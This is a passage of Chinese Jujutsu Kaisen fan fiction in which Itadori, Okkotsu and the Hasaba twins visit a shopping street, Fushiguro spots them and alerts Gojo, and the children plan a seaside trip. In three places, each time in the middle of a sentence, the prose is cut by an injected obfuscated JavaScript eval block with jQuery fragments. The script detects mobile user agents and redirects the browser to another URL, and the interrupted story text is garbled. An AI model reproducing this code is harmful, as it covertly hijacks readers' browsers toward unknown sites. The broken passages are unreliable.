表皮泛着油光的面包看起来香软蓬松,隔着玻璃,虎杖悠仁仿佛已经能够想象出咬下酥脆的表皮、将布满孔洞的面包芯吞入口中的柔软触感了。
枷场姐妹奔着网上很火的冰沙甜品而来,她们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378178|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
犹豫了一小会儿要不要再买个面包或者蛋糕,但是又觉得一会儿还要去吃午饭。
于是她们折中了一下:“我们可以走之前再回来买一些面包,或者买一个小蛋糕带回去。”
夏油杰会在她们的请求下稍微尝一口的。
虎杖悠仁没见过那个人在吃食上有什么特别的偏好,既不爱吃甜的,也不爱吃辣的,也基本很少见到他在别人面前进食。
他们买了两杯,冰沙甜品的个头比他们想象得要小。看得出甜品店的老板为了让店铺内的整体装饰风格与自家的商品相符而特意选取了纯度很高的背景色,让整间店铺显得年轻又充满活力。只是再有个性的店铺里只要人变多就会显得拥挤而烦闷。
虎杖悠仁举着两杯冰沙甜品走出了店门,找到了坐在街道旁边供人休息的长椅上等着他的其他人。
“谢谢你啦,悠仁!帮大忙了!”枷场菜菜子接过了属于她们的那一份,甜品店里拥挤的人群让她和美美子在选完甜品之后径直逃了出来......离开那家店铺还有另外一个原因,站在柜台后的店员肩膀上趴着一只蝇头——虎杖悠仁终于知道那些长得像是苍蝇一样嗡嗡叫着的咒灵叫什么了——坐在店里根本不会有心思好好享受甜品。
因为不在店里吃,冰沙甜品被装在了塑料杯里,枷场姐妹忙着拍照,虎杖悠仁将手里的塑料小勺分给了乙骨忧太一个。
他挖了一小勺,冰沙的颗粒感不是很强,吃起来没有在嚼冰块的感觉,而是入口即化,在舌头上很快就化成冰水了。虎杖悠仁尝到了青苹果和草莓的味道,黄色的部分大概是柠檬,是“糖果类水果味”,酸酸甜甜的。
“忧太,”枷场姐妹那边手机相机照相时的咔嚓声不绝于耳,听起来她们已经拍了几十张,虎杖悠仁看着她们说道,“我们要不也买个手机吧?”
他将头转回来,乙骨忧太刚将一勺冰沙送入口中,从黑发孩子挑起的眉毛能够看出他在问“为什么呢?”
虎杖悠仁用小勺敲了敲杯沿:“......照相很方便。”
相机不方便随时带出门,但是有很多想要记录下来的事情不会等他有时间重新取来相机。那一台小小的机械盒子除了可以无视沟通的距离,还可以在这种时候随手记录下来发生在身边的小事。
不是非将它们记录下来不可,而是在这一刻感受到的微小幸福产生的涟漪被注意到了而已,刹那间意识到“如果未来还能看见这样的景象肯定还会觉得幸福吧”,想要将它留下来的愿望就油然而生。
乙骨忧太说:“那等我们回去之后问问夏油先生吧。”
冰沙里的“水果味”比糖果里的味道好吃很多,为了防止下面的冰沙化掉,他们吃得很快。乙骨忧太吃了小半杯,剩下的全都进了虎杖悠仁的肚子。他们吃完的时候,女孩子们那边才刚消灭掉一小半。
“吃得嘴巴都被冻麻了!”枷场菜菜子感觉自己的嘴唇都有些发木了,看到虎杖悠仁将空杯子塞进他们自己带过来的塑料袋里时,震惊地和美美子吐槽男孩子们吃甜品的速度。
融化的彩色冰沙汇聚在杯底,她们决定一边走一边慢慢吃。
虎杖悠仁摸了一下兜,突然想起刚才甜品店店员交到他手上的贴纸。
“这个,好像集齐几个贴纸就能换到一个甜品诶。”他举起手里薄薄的纸片,刚才店员似乎说的是在这条街上会有一些店铺门口摆放着非常显眼的招牌,去这些店里买吃的就能够得到同系列的其他贴纸。
“只有一个吗?也太不划算了吧!”枷场姐妹对此兴致缺缺,虎杖悠仁仔细一想也是,所以他将贴纸收了起来,转而和她们讨论起之后要去吃什么。
“酱油拉面?这附近有个很有名的拉面店,”枷场美美子出示自己的手机给他们看,“或者寿司?”
最终他们选择了那家拉面店,虽然离他们现在的位置不算远,但走过去还是花费了不少时间。这条街上有太多新鲜的东西吸引着他们的注意力,他们在药妆店和百元店里停留了太久,等找到拉面店的时候,门口已经排了很多人。
“大概还要半个小时。怎么样,要等吗?”乙骨忧太问了一句,回来和其他人商量要不要继续等下去。
半个小时而已,门口有也专门为等位的客人准备的座椅,所以他们找了一个角落的地方坐了下来。枷场姐妹在等待的过程中吃完了最后的冰沙,将杯子交给了虎杖悠仁,他决定趁着等待的时间跑到远处的便利店去将它们一起丢掉。
乙骨忧太提出要和他一起去,但虎杖悠仁强调他自己可以,所以乙骨忧太坐在了原地。
“你好像鸡妈妈,忧太。”枷场美美子捏着手里玩偶的爪子,又举起它的手臂向乙骨忧太挥了挥手。
“诶?是吗?”乙骨忧太丝毫没有自觉。
枷场菜菜子摁着手机按键,头也不抬地补充道:“你简直就像是把悠仁当成小鸡崽一样,他去哪里你都要跟着去。”
“但是,菜菜子和美美子你们不也一直待在一起吗?”
“当然了啊,我们可是姐妹,”枷场菜菜子将眼睛从屏幕上拔出来,撑着脸颊歪头看向他,“不过我又仔细想了一下,偶尔忧太你才是跟在鸡妈妈身后的小鸡崽诶。”
这样的评价让乙骨忧太觉得有些困惑,但下意识地想要赶快绕过这个话题,所以他开始研究这家店的菜单。
虎杖悠仁在便利店的门口找到了垃圾桶,按照不同的标识将垃圾全都丢出去之后,一回头就看见了一只浑身毛茸茸的白色大狗狗悠哉悠哉地从身后经过。
40. 第 40 章
这只狗狗身上的毛发白得像是雪一样,在看到它的第一眼,虎杖悠仁的手指就已经动了起来。他向前走了两步,心脏却开始噗通噗通地跳了起来。
好想扑上去使劲摸一摸它的毛!!
他这样想着,也真的这样做了。
“嗷呜?”
白色狗狗没有栓绳,似乎主人并没有在附近。虎杖悠仁有些疑惑周围的人为什么对这样可爱的一只大型犬出现在商业街的现象没有丝毫异议。
突然被陌生孩子抱住的玉犬发出疑惑的哼唧声。它没有从粉发孩子的身上感受到恶意,身为式神的本能让它寻求主人的指示,但显然此刻它的小主人并没有将注意力放在它的身上,而是忙着和电话另一头不靠谱的“临时监护人”先生抱怨为什么没有按照约定的时间来到碰面的地点。
“好乖好乖——”虎杖悠仁蹲在狗狗身旁,将脸埋进了它的毛里。村子里也有野猫和野狗,可是它们的生活并不轻松,无人打理的毛发上总是沾满了泥巴和跳蚤,乙骨忧太和虎杖悠仁很少亲近那些机警的野生动物们。
眼前的这个大家伙看起来被主人好好爱护着,毛发上还能闻到柠檬香波的味道。
被揉搓着的玉犬瞪着乌黑油亮的眼睛望着自己的同伴,半晌之后吐出舌头,露出一个憨憨的笑容。不知何时找过来的黑色玉犬坐在了虎杖悠仁的身后,不过粉发的孩子并没有发现这个毛发颜色异常的另一只大狗狗。
“咦?额头上的红色......居然不是颜料画上去的,好神奇!”
黑色玉犬伏下身子,趴在自己的前腿上,人性化地叹了一口气。
虎杖悠仁埋头狂摸了一阵,遗憾地站了起来:“我要走了哦,不然他们该等着急了。”
他向后退的时候才发现趴在脚边的黑色玉犬,它的毛发和小白的眼睛一样黑亮,额头上有着同样的红色纹路。
“?”
虎杖悠仁发现他的周围出现了一圈空旷地带,从狗狗对他的吸引力中脱离出来后,他后知后觉地感知到了来自周围隐秘的、好奇的视线。
行人来来往往,在他站起来之后反倒像内挤了过来,看起来之前只是大家为了避免踩到蹲下的孩子而主动将这片区域避开了一样。但是那些视线......不是来自从他身边经过的人,而是隔壁无所事事的粗点心店店员、正对面街道快餐店玻璃后用餐的顾客、坐在树荫下长椅上休息的情侣。
对于来往的行人来说,虎杖悠仁只是一个不知为何蹲在地上的孩子,但停留在附近的这些人留意到长时间的异常行为并非难事,他们纷纷向虎杖悠仁投来了过分关注的目光。
两只玉犬听见小主人站在巷子里呼喊它们的声音,小白的耳朵唰地立了起来,小黑站起身甩着尾巴走过虎杖悠仁的身边,用毛茸茸的大尾巴扫过他的手背。直到它们完全站起来,身为大型犬的威慑便随着身形展开而逐渐变得清晰,小黑的喉咙里咕噜了几声,和小白一起向某个方向跑去。
“......我得走了。”虎杖悠仁不知道在说给谁听,他几乎头也不回地冲入了人群,越过两个小巷口,回到了拉面店。
见到乙骨忧太和枷场姐妹的时候,他才重新开始呼吸。
“怎么了?你去了好久......”乙骨忧太下意识的想要就“去扔垃圾而已为什么花了什么长时间?果然我还是应该跟着你一起去”这种想法开始表达自己的关心,蓦地想起枷场姐妹对他的评价,又将后半句话吞了回去。
但是悠仁真的去了很久,只是扔掉两个空着的塑料杯子而已,难道是在给垃圾分类的时候遇到了困难?
他只是想确认没有发生任何不利于他们的事情而已,又害怕虎杖悠仁做出什么危险的事情......在他看不到、帮不上忙的地方。
仅此而已。
“不,”虎杖悠仁喘了口气,摇摇头,“没什么事。”
刚才的那两只狗狗,难道是咒灵?但是长得好可爱。
不不,如果真的是咒灵他应该能够分辨出来才对,就算他被狗狗身上干净而光滑的毛发蛊惑了,也绝不会产生这么大的误会。哪怕蝇头有一天变得像熊猫一样可爱,他也绝对不会扑上去抱它们的。
那就是......式神?
“......你们去哪儿了啊?”伏黑惠俯下身挨个揉搓玉犬的脑袋,一上手就发现小白脑袋上的毛发走向不对劲。
他早上刚刚给它们疏过毛,之后也没再叫它们出来,而现在小白看上去被人□□过一遍。
伏黑惠感觉到了一丝微妙的不爽。
他握住小白的嘴筒子晃了晃,但是丝毫没有察觉到小主人莫名其妙有些生气的白色玉犬还努力甩着头,从他的手中脱出之后像是在笑一样张开了嘴巴。
“算了,反正那家伙一时半会儿还过不来。他说想吃神秘甜品......”伏黑惠让玉犬们回到了他的影子里,走到门口摆放着的活动广告牌前仔细看了起来。
“六家?!”总感觉被人当做免费的劳动力了,伏黑惠用手机将那些活动店铺的名字拍了下来,决定挨个去收集那些贴纸。反正等着也是等着,而且那家伙还给了不少零花钱,这下就算他和津美纪每天都吃新鲜的便当也绰绰有余,不用晚上再去超市抢特价商品,也不用每天紧巴巴地数着仅剩的钱,看津美纪隐藏着担忧的笑。
虎杖悠仁他们终于排到了座位,店员听说只有他们四个小孩子过来惊讶了一瞬,不过还是带着他们进入了一个四人桌的小隔间。这家店除了大厅里的座位,其余的地方就是这样将背靠背摆放着的类似沙发一样的座位相互隔开,挂上了门帘。孩子们很喜欢这样私密又狭窄的空间,就算说一些“奇怪的话”也不会被人注目。
即便刚开始等待的时候还没什么感觉,可是只能坐在店外看着别人享受美味,每次店员撩开店门口的门帘时还会从里面飘出一阵拉面的酱香,他们的肚子早就开始闹腾起来了。
好在虽然店里人多,但后厨制作招牌酱油拉面的速度还是很快的。这家拉面店的汤底是用鸡骨、牛骨以及鱼干熬制出来的,味道清爽鲜香,不过面条中规中矩,至少虎杖悠仁吃着和其他家的面类口感差不了多少。
他很喜欢吃各种盖饭和面类,吃得多了自然能够尝出各家面条的口感是好是坏。
这家店被选上的原因还有一个,这里的盐渍高丽菜是免费的,每张桌子上都准备了酱油和芝麻油,乙骨忧太很喜欢盐渍高丽菜蘸芝麻油。
“下周的远足,你们要去吗?”枷场菜菜子问道。
学校似乎每个学期都会安排这样的活动,在远足日带着学生们去公园或者博物馆进行一日游,很多孩子都非常期待,在这一天他们可以自己带便当又不用上课,当老师宣布这个消息的时候,几乎全班的人都在欢呼。
欢呼的动静很快就传遍了教学楼,大概是其他班的老师听到某一个班级发出了这样的动静,于是默契地将即将举行远足的好消息告知了自己班级的学生们,欢呼声就这样一个班一个班地传遍了。
“不知道会去哪里呢,”虎杖悠仁夹起被汤泡软了一半的海苔,软掉的部分已经完全变成了汤汁的味道,“老师不是说自愿报名吗?”
枷场姐妹对此没什么兴趣,虎杖悠仁和乙骨忧太也觉得可去可不去。而且人群聚集的地方很容易生成诅咒,与其跑过去让自己的眼睛必须忍耐那样的视觉污染,还不如留这一天在家随意干点什么别的事。
里香的情况在乙骨忧太对咒术有了初步的了解之后变得可控了许多,哪怕身处人群之中,只要他的情绪保持稳定,周围不存在会被里香认定为“危险”的存在,它就不会随随便便地跑出来。
“听说是去水族馆。”乙骨忧太说道。
“建在楼顶的那个吗?”枷场菜菜子微微抬起头。
她说的是位于池袋的阳光水族馆,但乙骨忧太听到的似乎并不是那里,而是靠近东京湾的葛西临海水族馆。
“唔。”
枷场美美子发出小小的哼声,这代表着她有些意动。
水族馆在葛西临海公园里,这个公园有可以看见东京湾的观景台,靠近东京湾的一侧有一片浅滩,在那里可以挖到各种小螃蟹或者小贝壳。
虎杖悠仁的一碗面已经见底,他准备将所有的汤底都喝掉,不浪费一丁点儿:“能看见大海吗?!”
“那里是东京湾,当然啦!”乙骨忧太回答道。
那就没必要在远足的时候去了,虎杖悠仁显然对那片浅滩更感兴趣,而枷场美美子想要去水族馆,现在正是刚刚入夏的时间,正适合去海边玩。下周末也许是个不错的选择。
“叫上夏油大人一起吧!”枷场菜菜子说,末了又担心他可能又会笑着说“你们自己去吧,注意安全”,有些不自信地向虎杖悠仁和乙骨忧太求证:“他会同意的吧?你们也要来劝他!”
“夏油先生一到夏天就会很没精神,而且他一定是个工作狂。”虎杖悠仁觉得枷场姐妹能够叫动夏油杰的可能性不大。
工作狂这个词是最近才被虎杖悠仁纳入词库的,用在这里形容夏油杰正好。那个人自律得可怕,教会周围没有任何未被收服的咒灵,而且他们经常接连几天都见不到他,向菅田真奈美打听才知道夏油杰总会去其他的地方“工作”。
就算他留在教会里,通常等到孩子们起床的时候他也早就去到教会礼堂接见教徒,很晚才会回来休息。
枷场姐妹想要找到和他拉近关系的方法,却发现根本没有相处的时间。
“这倒也是,”枷场菜菜子知道夏油杰的理想,而这反倒让她觉得此刻只想着去哪里玩的自己有些追不上他的步伐了,“我什么时候才能拥有术式呢......”
美美子也已经觉醒了术式,尽管使用时的咒力输出效率——夏油大人应该说的是这个词——不太稳定,但身为双子之一的她却一直没有觉醒术式的征兆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378179|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“不要着急呀,”虎杖悠仁安慰她,“说不定只是没有发现使用术式的正确方法呢。”
枷场美美子抿着嘴,眼神飘得有些古怪。乙骨忧太察觉到了她的不对劲,记在了心里,准备找个机会单独问问......这倒是个需要废些力气的工作,毕竟枷场姐妹几乎从不单独行动。
也许买个手机的选择真的是正确的?
虎杖悠仁不是不能理解枷场菜菜子的心情,作为朋友他当然希望她可以得偿所愿,可一想到她们的愿望、他们的理想,他还是会不由自主地思考那个已经在心中问过无数人、无数次的问题。
这真的是正确的选择吗?
等到未来的未来,不论是枷场姐妹加入了夏油杰的队伍,用自己的能力去诅咒非术师,亦或者是某一天她们会因咒术而死,虎杖悠仁都不希望任何一个未来变成现实。
世上最难解的大概就是所有的路都无法通向肉眼可见的幸福结局,而现实和时间逼迫着他们必须选择其中之一。
如果无论选择哪条路都无法避免死亡——就像人终究会生老病死,这是世间恒常不变的真理——虎杖悠仁希望所有人都能够不带着遗憾死去。他并非拒绝死亡,而是想要抹除所有“不正确的”死亡。
完成自己的使命与价值,消解所有的遗憾,这样死去的话一定能够成佛吧?
“我再去拿一些盐渍高丽菜,”乙骨忧太掀起帘子,“美美子,能来帮我一下吗?”
他们两个坐在靠边的位置,确实进出更加方便一些,枷场美美子点了点头。虎杖悠仁依旧在安慰枷场菜菜子,乙骨忧太觉得这是一个好时机。
他们来到夹取小菜的地方,乙骨忧太问出了他留意已久的问题:“美美子,菜菜子她......难道你发现了什么吗?比如她的术式?”
枷场美美子将她的娃娃放在了隔间里,现在只能不太适应地抓着裙摆。他们相互信任着,所以说出来也没关系。
“菜菜子讨厌她自己的术式,所以才没有发现。”不,应该说是下意识地不太能够接受吧。
乙骨忧太取来新的盘子,夹取盛放在大瓷碗里的盐渍高丽菜。他心思敏感一些,但也是到了枷场美美子坦白的这一刻才留意到菜菜子身上存在的矛盾感。
“讨厌猴子,却对它们制造出来的东西拥有超乎想象的喜爱,”枷场美美子也帮他装了一盘,乙骨忧太真的很爱吃这道小菜,“手机、化妆品、时尚流行、食物。她喜欢得不得了。”
所以才会觉得痛苦。
夏油杰对她们的影响太大了。身陷木牢,被愚昧的村民殴打,从出生起就一直积攒在胸口的恶意像是不断充气的气球一样支撑着她们的身体,乙骨忧太能够感同身受。
如果不将那些诅咒之言吐露出来的话,可怕的火焰就会先点燃他们自己。
明明最讨厌非术师,可却不能自控地喜欢着他们做出来的东西,对于一心追逐着夏油杰的枷场姐妹来说,这是极高的自尊心带来的自我背叛。枷场菜菜子更甚。
她的术式可能与手机有关,也许是她没有发现,又或者是故意忽略了这一点,但枷场美美子再清楚不过。每当菜菜子打开相机的时候,一种若隐若现的联系就会通过最相似的咒力在她们之间建立起来,美美子对此深有体会。
为了更加了解里香,乙骨忧太在夏油杰讲述咒术相关的知识时听得很认真。他知道每个人的生得术式都或多或少有些不同之处,哪怕是同一个家族、拥有最亲近的血缘关系者也是同样的,即便继承了同名的术式,根据术师对术式的开发程度不同,在战斗中也会呈现出完全不一样的效果。
有像枷场美美子这样比较传统的术式,能够简单改变选定的对象的状态,比如将他们用绳子吊起来,看起来就像是传统恐怖片里的“诅咒”一样。也有很新潮的术式,比如夏油杰告诉他们有一个姓禅院的家族,他们家主的术式和制作动画片的技术有关,总之是个以前绝对不可能出现过的术式。
如果枷场菜菜子的术式真的和手机有关,那就是个新得不能再新的生得术式了。
“夏油大人说他不在意这些,但是菜菜子没有办法说服自己。”
枷场美美子指的是夏油杰从不要求他们像他一样在吃穿住行上尽可能远离非术师,只是......
直到他们一起回到隔间,乙骨忧太也想不出什么好方法来解决这个问题。
女孩子们只是在寻找自己在这个错位了的世界上的定位,在找到真正的前进方向之前,停留在原地、亦或者随便先向哪个方向走起来,都只是某一种选择而已。不光是她们,连他也还在迷茫犹豫着。
甚至于他偶尔能在夏油杰的身上看到与他们一样的迟疑。但仅仅只在深夜晚归或者酷夏,成熟的大人才会从眉眼间流露出一些微不可查的疲倦。
说起来。
“夏油先生今年到底多大了?”乙骨忧太忽然提问道。
41. 第 41 章
众人非常认真地思考着这个问题。
枷场菜菜子率先参与抢答:“二十五岁?夏油大人看上去很成熟。”
“但是他还会玩桃太郎电铁诶。”虎杖悠仁提出异议。
“真的假的?!”其他人异口同声地喊道,连乙骨忧太都瞪大了眼睛。
虎杖悠仁被吓了一跳,有些疑惑地说:“你们难道没有注意到吗?他有悄悄关注过前几个月发售的桃铁20周年新作,每次看到我在玩的时候视线都会在屏幕上停留好久。”
“也许只是好奇?”乙骨忧太不太确定地说。
“嗯......但我觉得不是这样的。”
枷场菜菜子坚持自己的想法:“谁说大人不能玩那个什么桃铁啦!”
“真的吗?真的是真的吗?”枷场美美子仍旧半信半疑。
虎杖悠仁挠着头:“既然这么好奇,我们回去问问他不就好了?真奈美姐姐总是知道的吧?”
他们改变了对菅田真奈美的称呼,这是因为有一次他们称呼她为阿姨的时候被敲了头,从此之后就改成了姐姐。
将这件事记在心里,他们也吃完了所有的午饭,去到前台结账,几个人离开了这家拉面店,向着上午买甜品的地方重新走了回去。有一家上午还摆着集齐贴纸有神秘甜品广告牌的店铺将架起来的支架收进了店铺里,隔着玻璃,虎杖悠仁能够看到那个广告牌被塞到了柜台后的角落里,看起来就像是不再被需要了一样。
“已经结束了?今天是最后一天才对。”回到熟悉的甜品店,排在队伍最前方的人和店员沟通着什么。
店员用手肘撑着身体趴在柜台上和他说话,看起来这位顾客也是一个年纪不大的孩子。
“抱歉,中午的时候已经将最后一枚贴纸发出去了,所以活动提前结束了。”店员充满歉意地解释着,因为太忙了没能及时将活动的牌子收回,这才让这位小顾客白跑了一趟。看他手里的东西,似乎已经收集齐所有其他的贴纸,只剩他们这一家了。
虎杖悠仁在后面排队,侧过头让视线绕过前面的人群,只看到了数根竖起的黑色尖刺。
海胆?
队伍开始往前走,虎杖悠仁终于完整地看清了那个询问贴纸的孩子。
“真的好像海胆。”
他发誓自己说话的声音很小,可那个黑头发的孩子还是听见并狠狠地将头扭了过来。因为干了背后说别人“坏话”的事,所以虎杖悠仁脖子一缩,挪开了眼睛。他的动作挤到了站在旁边的乙骨忧太,差点就将他挤出了队伍。
伏黑惠看着笼罩在那个黑头发的家伙身后的深色阴影,浑身汗毛倒竖。
咒灵?但是这种程度的咒力量......伏黑惠如坠深渊,手指已经摸到了放在口袋里的手机边缘。要告诉五条悟吗?
先离开这家店再说,不能让它发现自己能够看到它。伏黑惠立刻决定了下一步的动作,脚下迈步向甜品店外走去,同时层出不穷的疑问也涌入了他的脑袋。被诅咒的男孩还在和旁边的孩子说话,看不出他身上有任何诅咒带来的负面影响。
那一团巨大的阴影并没有实体,更像是一种自内而外散发出来的威慑,是一种......被努力控制着没有失控的庞大力量。
总之这绝对不是伏黑惠自己能够解决的问题,还是叫五条悟过来处理更妥当一些。
乙骨忧太的视线跟着伏黑惠的背影走了几秒,随后收回,问道:“你想把贴纸给他?那就由你来处理它吧。”
虎杖悠仁点点头,从队伍里离开,向甜品店外追了过去。
伏黑惠快步离开甜品店,屋外的日头晒到他觉得头皮发烫,正打算拨通五条悟的电话号码时,一只手拍了拍他的肩膀。
他一回头,看见了刚才和那个危险分子聊天的粉发孩子。
“这个送给你吧,”虎杖悠仁将贴纸递给了伏黑惠,露出一个笑容,“抱歉,刚才在排队的时候我听到你想要这个贴纸。我们不打算继续收集其他的贴纸,所以我想把这个送给你。”
“......多谢。”伏黑惠绷着脸向他道谢,鬼使神差地从虎杖悠仁手中接过那张小纸片,悬在拨号键上的手指也僵在了那里,没能按下去。
“祝你能够拿到神秘甜品!”虎杖悠仁一溜烟地跑远了,重新钻回了甜品店里。
伏黑惠举着还没他手掌四分之一大的小纸片翻来覆去地看了个遍,将它放进了口袋里拉好拉链,拨通了五条悟的电话。
他至少等了将近半分钟电话才被人接起来,不等听筒里传来轻薄的动静,他率先一股脑将自己看到的东西告知了对方。电话那头的人沉默了一小会儿,然后似乎将手机拿远,又传来了一些窸窸窣窣摩擦布料、听不真切的交谈声。
“总之,先离那里远一点吧,惠。等我过去。”
伏黑惠觉得五条悟虽然有的时候不太靠谱,为人也轻佻得过分,但这种时候还是听他的准没错。
他蹲在了甜品店对面的街角,没等一会儿就看见乙骨忧太等人从里面走了出来。
四个人?他们相互认识,而且那两个女孩的身上也能看到逸散的咒力。他们看样子在往商业街的出口走,伏黑惠远远地跟在他们后面,一路跟到了商业街外的大路旁。
“他还在跟着?”等车来接他们的时候,虎杖悠仁悄声问道。
“一直跟在后面呢。”乙骨忧太小声回答他。说起咒力操作,他们这些孩子全都半斤八两,没办法像干着不正经工作的诅咒师们那样精于隐藏自己,而乙骨忧太更甚,有里香在,他本身就像是一轮在夜晚升起的太阳,想让人忽视都做不到。
“谁啊?和我们一样吗?”枷场菜菜子问。
如果是像曾经的他们一样无人教导的野生小咒术师,枷场姐妹不介意让教会的大家庭增加一名新的家人。
“看起来不像,”虎杖悠仁依旧保持着敏锐的直觉,“而且我和他搭话的时候,他正准备给谁打电话呢。”
虽然只是匆匆一瞥,但虎杖悠仁还是看见了未被熄灭的手机屏幕上展示出的紧急联系人。
“五条悟。是这个名字没错,他就是想给这个人打电话。”
“五条?夏油大人说的御三家之一是不是就是姓五条来着?”
“五条、禅院、加茂。”枷场美美子补充道。
讨论间,来接他们的司机抵达了约定的地点,孩子们挨个坐上了车,虎杖悠仁从车窗里面看向站在路边假装玩手机的伏黑惠。
电子设备是没办法留下咒灵的影像的,所以至少伏黑惠没办法将他看到的巨大阴影拍下来发给五条悟,让他鉴定一下这到底是个什么东西。车窗表面反射着天空与白云,想要留下乙骨忧太等人正脸照片的想法也这样落空了。
追不上去的伏黑惠看着载着乙骨忧太他们的轿车渐行渐远,最终消失在路口的转角。
他望着那个方向看了几分钟,随后决定先去把神秘甜品兑换出来,万一这个神秘甜品也是限量的就太倒霉了。
拿着兑换出来的神秘甜品,伏黑惠在约定的地点又等了半个小时,五条悟姗姗来迟。
“哦呀,惠你已经帮我换好了?真是太懂事了!”白发的咒术师没有丝毫羞愧之意,在他眼里从小孩手中抢来吃的并不是什么值得自卑的事,被他光明正大地当着行人的面做了出来。
“......他们早就走了。”
五条悟拆开神秘甜品的外包装,头也不抬地说:“一看就知道啦。”
“......”伏黑惠已经差不多习惯了他这偶尔过于不着调的性格,于是接着问道:“那是什么东西?看起来不像是咒灵,但是也不像普通的诅咒。”
五条悟尝了一口,只是很普通的抹茶甜品,里面的奶油已经开始变得出油滑腻,失去了最佳口感。
“没有亲眼见到有些不太好下定论呢,”他向上推了推滑到鼻梁上的墨镜,苍蓝色的眼睛四下转动着,将周围一切属于咒术的信息纳入眼中,“真是可怕的残秽......说不准是过咒怨灵之类的。”
而且他总觉得这股咒力很眼熟,可惜的是他这段日子接了太多的任务,看过太多的咒力信息,纵使六眼和大脑都给出了直觉的警示,但一时半会儿他仍无法想起自己究竟在那里遇到过这股咒力的主人。
“那就这样放过他们了?”伏黑惠仰着头,为了参加活动而购买的其他甜品大多是各家店铺推出的一些新口味面包,是能够长时间保存的东西,他准备带回家给津美纪。
五条悟抽空伸出一只手揉了揉他海胆一样炸起来的头发,没说话。
研究利用“苍”进行长距离快速移动的日程也要提前了啊,白发的特级咒术师心想。
回到教会的虎杖悠仁和乙骨忧太还没来得及回房间休息,就被枷场姐妹叫上一起去正门的礼堂找夏油杰。这一路上她们“耳提面命”,非要虎杖悠仁与乙骨忧太和她们一起想办法让夏油杰尝一尝这家甜品店里超好吃的果仁面包。
踩在厚厚的地毯上,回形长廊比他们刚来时短了一些......这只是因为他们对这里了如指掌、长了一岁的缘故,那些让人看着迷茫万分的房间在现在的他们眼中已经不会像开盲盒一样充满惊喜,每一间房间都是用来做什么的,他们心里已经清楚得很。
一般在这个时间,夏油杰都会单独会见找到这里来的信徒。
今天恰好没有教徒过来,夏油杰难得落得清闲,见到孩子们小心翼翼望过来的眼神,他立刻心领神会,知道这些小家伙们又有了一些新点子。
女孩子们叽叽喳喳地围在他的身边,将带回来的甜品递到了夏油杰的手中。袋子微微敞开了一个小口,香气从狭窄的通道里钻了出来,混合着外包装上的清洁酒精的味道扑入夏油杰的鼻腔,他下意识地笑了一下,随即又收
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378180|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敛了脸上不自觉流露出来的情绪,换上他平时常展现出来的笑容,说道:“你们想去海边玩吗?”
枷场姐妹对视了一眼,美美子紧张地说:“如果夏油大人能一起去的话......”
“......”夏油杰摸了摸她们的头,抬眼看向站在稍远处的男孩子们:“悠仁和忧太呢?”
虎杖悠仁立刻举手:“我也想去!”
他抓着乙骨忧太的手臂,替他举了起来:“忧太也是!”
“好吧,”夏油杰回想了一下菅田真奈美和他说过的时间安排,“下周有些困难,再等一周怎么样?”
“好!!”枷场姐妹欢呼起来,乙骨忧太能够感觉到虎杖悠仁也很开心。
出行计划就这样被定了下来。
远足的前一天,正巧轮到乙骨忧太留下来清扫教室,枷场姐妹想去药妆店,所以只有虎杖悠仁在等他。
粉发的孩子原本靠在走廊里能看见校门口的窗户旁,身前来来往往的走过很多人。但是很少有人会和他打招呼,唯一一个叫他名字的还是坐在他旁边的同班同学。
“你们住在一起吗,虎杖?”
班里的人还没有完全走完,乙骨忧太和另一个值日生正拎着清扫工具做打扫前的准备,同桌找到了虎杖悠仁,好奇地问道。
“嗯?是的哦。”
“哇,”同桌靠在了他旁边一点的位置,感叹道,“你们连明天的远足都不去吗?枷场她们也不去?”
“啊......算是家里有别的安排?不能和大家一起去确实有点遗憾呢。”
虎杖悠仁中规中矩地回答着。
“你们还真是奇怪呐。”同桌摇了摇头。
他们这个年龄的孩子们想要熟悉起来是很容易的,可偏偏这个班级里就出现了这样一群特例。不论是身为双胞胎的枷场姐妹还是乙骨忧太和虎杖悠仁的长相都是在学校里很容易受到欢迎的类型,然而他们却都好像生活在另一个世界一样,和周围人格格不入。
枷场姐妹从不主动与乙骨忧太和虎杖悠仁之外的人交谈,乙骨忧太总是跟在虎杖悠仁的旁边。他们四个会一起上下学,像今天这样分开的情况还是第一次,以至于同桌大着胆子抓住机会,接近了独自一人站在走廊里的虎杖悠仁。
“斋藤同学,为什么你和我说话的时候这么紧张?不用太拘谨的啦。他们只是不太喜欢人很多的地方而已,有人喜欢与人交往,有人不喜欢,这么想就简单很多了。”
“呃、我没有其他的意思,”同桌被戳穿之后心里一惊,“你们感情真好。”
“那当然了,我们是家人哦。”
家人?但是姓氏不一样,是收养的关系吗?
